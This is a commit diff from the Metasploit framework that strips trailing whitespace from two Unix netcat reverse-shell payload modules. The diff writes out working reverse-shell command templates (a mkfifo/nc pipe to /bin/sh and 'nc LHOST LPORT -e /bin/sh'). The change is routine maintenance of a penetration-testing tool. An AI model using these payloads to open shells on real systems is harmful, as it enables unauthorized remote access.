Remove trailing whitespace from netcat payloads

This has been bugging me for so long.
rapid7 · Aug 24, 2018 · bbeab1f · bbeab1f
1 parent e3a2e64
commit bbeab1f
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Showing 2 changed files with 3 additions and 3 deletions.
diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb
@@ -51,6 +51,6 @@ def generate
   #
   def command_string
     backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
-    "mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
+    "mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
   end
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb
@@ -9,7 +9,7 @@
 
 module MetasploitModule
 
-  CachedSize = 35
+  CachedSize = 34
 
   include Msf::Payload::Single
   include Msf::Sessions::CommandShellOptions
@@ -45,6 +45,6 @@ def generate
   # Returns the command string to use for execution
   #
   def command_string
-    "nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
+    "nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh"
   end
 end